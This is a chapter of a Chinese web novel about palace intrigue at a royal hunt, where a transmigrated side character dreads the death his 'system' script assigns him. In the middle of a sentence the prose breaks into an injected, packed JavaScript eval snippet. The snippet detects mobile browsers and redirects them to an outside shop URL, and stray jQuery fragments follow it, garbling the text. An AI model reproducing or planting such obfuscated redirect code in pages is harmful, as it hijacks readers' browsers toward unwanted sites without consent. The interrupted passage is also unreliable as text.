“无妨。”
易安不疾不徐,将脱下来的斗篷递给一旁的小厮,坐在阎济对面。
青竹小院,藤几喝茶。
“公子好兴致。”
“谈不上。”
易安没有再多废话,草草喝了口水,就开始阐述宫中见闻,再说到左意蕴时,阎济皱了下眉。
“有什么不对么?”
阎济问:“太子什么反应?”
“倒是没什么反应,只是我看过那把庾弓,委实算不上什么稀奇,只是型号小了点没有异常……”易安思忖道,“你是觉得太子会在此物上动手脚?”
“不会。”
不是在此物上动手脚,而是……
阎济这个时候还是平静的,他知道这是一道坎,他曾经战胜过的坎,很奇怪,明明规避掉这些对他来说算得上是游刃有余,可他还是控制不住地心悸,比之前每一次都要严重。
想到少年的样子,他的手有些抖。
易安叫了好几声,阎济都没有应答,她面上浮现一抹奇怪,最后重申道:
“小侯爷不能死。”
“王爷,此前诟病小侯爷身世也好,学堂上吓唬他也罢,我不论您心中有怎样的盘算,只此一点,小侯爷不能有事。”
阎济回神,对视上易安决然的眼神,回道:“你放心。”
“他不会有事。”
“娘娘不放心您。”易安垂眸,抬手给自己和对方斟茶,她的指尖上染着鲜红丹蔻,眼观鼻鼻观心,没有在乎对方听没听进去。
“江山易主本是常事,娘娘并非是非要这天下,而是不得不如此……天难谌,命靡常,世事难料,天底下没有机关算尽且算得刚刚好的事情,娘娘比我们都懂这一点,所以深知小侯爷的命脉注定与之绑定,你……也罢,我若是信了这句话,又何苦坐在这里呢。”
她抬眸,发现阎济正在认真看着她,就见男人一字一句道:
“我明白。”他近乎是诚恳地说道,“可是人就是贪心,既平陇,复望蜀。我一边知道天下需要明主,另一边私心甚深,企图觅得一条他不做君主也能好好活着的路。”
忽略易安的一抹惊色,手指摩梭过杯沿,“我心惟此一点,姑娘放心。”
……
易安走后,阎济楞坐在原地许久,直到天下起濛濛细雨,打湿一片衣襟,才恍然回神。
竹林荫蔽,衣裳都能这样湿,想必雨势不小……
他望着远处阴沉天色,心头重之又重。
很多事情都变了,但愿还在他的掌控之中。
///
易安系上斗篷,从私宅外的暗巷缓缓走出,来到了千春楼,京中说这里的胭脂颜色最好,月月抢购一空。
楼内瞭高儿的引着人上到二楼,人群稍微稀疏了些,伙计一个劲地向她介绍着新出的胭脂水粉,个顶个的新奇漂亮。
易安嘴角始终噙着一抹笑,挑了几样最衬人气色的。
骤然间,窗外大雨如注,伙计忙手忙脚去撤支窗的棒子,易安循声望去,只见外面风雨如晦,长街昏暝。
而远方,有一道天光乍现。
“……姑娘,这雨下得忒大了些,歇歇脚再走吧。”
易安回神,看向伙计带着朴实善意的笑脸,“多谢。”
///
“驾!”
太后拉着景瑎的手,易安掀开帘子叮嘱一番,车的速度就降了下来。
“让他们年轻力壮的先去,太快,哀家吃不消。”
易安答“是”,眼睛却轻轻瞥向一旁的景瑎。
只见往日的小侯爷此刻被打扮得更像个玉人。
太后说人逢喜事精神爽,外出围猎要多见见日头,总不好再穿一身白色,长公主一年丧期已满,按照礼制不必再着丧服,便安排人给景瑎找身显气色的。
绯色圆领袍通体白中透着水红,凡是系带便是珊瑚红色点缀着明珠,这正好成为点睛之笔,若是别人来穿这件衣服,难免显得俗气或者过于夸张,可穿在少年身上,却显得人更加钟灵毓秀。
就连平日披散下的墨发也被高高束起,显得人精干灵秀,浓眉大眼,漂亮得让人挪不开眼。
只是少年眉眼之中带着一抹愁容。
不只易安察觉到了,连太后也是,二人对视一眼没出声,不知道景瑎这是怎么了。
从出宫门开始,景瑎的脸色就非常不好,偏偏傻孩子感觉自己伪装得很好,被问到的时候只是笑笑,说没什么。
太后瞧见小人憔悴得可怜,眼底隐隐还带上了乌青,但终究是没再问,只让马车放慢点,他们慢慢去。
当然。
景瑎惨白着一张脸,只是因为知道自己要die了。
这衣服寓意也不好,胸口根本没必要绣水红色的花,到时候自然会有他的血溅上去……
唉。
景瑎很郁闷,因为他怕死。
但是老天爷没听到他的哀悼,没过片刻,马车就停下了,车外人报到,说是已经到达东晓山。
他哀莫大于心死地看了一眼绿意青葱的高山流水,肩膀无声地塌下去一点。
这边乌云密布,围猎场上却纵情欢乐。
此番皇帝下旨,旨在君臣同乐,因此但凡是三品以上的官员能来的都来了,不少世家子和大臣之子,青年才俊只多不少,觥筹交错,热情交往,好不热闹。
顺安帝作为天子,随口简单说了几句作为开场词,随后便歇息去了,全权交由太子左意蕴领头。
左意蕴高头大马,着一身水蓝飘渺袍,一派温润如玉的雅正端方,和谁说话都是笑盈盈的,却又能压得住场子,短短不到一个时辰,众人都知道这位回京不久的太子绝非庸者。
所以这场面就有些尴尬了。
——太后在众人面前露面时,提了两句先帝。
能做到三品官员,不可能没有见过先帝,于是好好的热烈场面,先帝仁治言论一出,众人无有不垂泪吊唁者。
尽管这只是个插曲,但是景瑎的出场就理所应当和太子对立起来。
皇帝和太后都去幕后歇息去,场上便剩下青年人。
水红袍少年一出,众人皆惊叹其容貌艳绝,却无人胆敢上前搭话同行。
众人看着少年被随身侍从扶上一匹偏矮的温顺母马,那侍从牵着缰绳,少年坐在马背上低头沉思,不知道在想什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680744|207676||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么。
左意蕴骑着一匹骏马,见景瑎身边空着,就要上前搭讪,然而他刚松开缰绳,人群中爆发出小规模的惊呼。
左意蕴皱眉看去,是阎济。
阎济身上是有实实在在的军功的,他三年前荣战归京,被称过一段时间的“杀神”,尽管这个杀名不算是好话,但世家子弟中,没有不崇拜他的。
传闻他身着五十斤金刚甲,手握赤羽震天锤,在战场上挥锤一下,能砸碎十个人的脑瓜。
这样的英雄,怎么可能不吸睛。
但众人望过去的时候,却多少有些意想不到。
男人并不是想象中身高八尺,力大如牛的壮士,而是清俊凌厉的……甚至有些像书生的青年。
他五官深邃,帅得极具攻击性,一双漆黑的眼珠始终像盖了层薄雾,漫不经心,周身充斥着冷淡和疏离。
虽然没有想象中那样“猛壮”,但是杀气不减,只穿了一件再简单不过的玄色单衣,随手驾驭着骏马,和众人一比像是大人来看小孩子过家家似的,十分出众。
左意蕴调转方向上前,朗声唤道:“先生。”
阎济看去,嘴角弯了弯:“殿下安好。”
阎济端的是一副长辈派头,可众人交头接耳间,才知道这位“杀神”也不过二十有三。
甚至比他们之中好一些人还要小几岁。
阎济没管众人的视线,太子既然叫他先生,自己不如便应下这声。
“殿下今日风姿出众,臣提前恭祝殿下丰收。”
“谢先生。”左意蕴坐在马上拱手回礼。
“先生不上场么?”
阎济望了一眼猎场,眼中兴致寥寥:“不了,臣行伍时身负旧伤,如今旧疾复发,就不凑这个热闹了。”
行军打仗谁能没个伤痛,左意蕴不便多说什么,含糊几句,便下令开始了。
一旁的景瑎时时刻刻都在关注这边的动静。
隋寂给他牵着马,母马性情温驯,载着他在场地上原地绕了几圈,相当于是当个吉祥物意思意思。
景瑎双手抓紧马鞍,倒不是十分害怕,他正满心满眼忧心着另一件事。
剧情!
这几日,在系统的安排下他早已经把剧情背得滚瓜烂熟——他必须在傍晚时分,由发狂的母马载到围猎场的中心地带,然后在马声嘶鸣中,被误认射杀。
景瑎手心密密麻麻出的全是汗,耳朵尖尖竖起,听着主角攻受的动静。
两人谈个恋爱,还非得走一趟“反目”的流程,他个小配角容易么他!
景瑎嘟嘟囔囔着,没发现自己的脸日头底下有多苍白,再次随意一瞥后,正好对上了主角攻的视线。
阎济如同深潭的漆黑眸子看向他,如果没看错的话,那眼中好像带着一丝眷恋和关切……
景瑎百感交集,最终还是怯懦地收回目光,闭了闭眼。
主角哥,我要死了/挥泪拜别.jpg
阎济告辞左意蕴之后,眸中担忧之色愈深,他看向少年骑着小马的背影,抓着缰绳的手指甲嵌进肉里。
他无声地启唇,冷汗隐隐从额间滑落。
“雾一,再检查一遍。”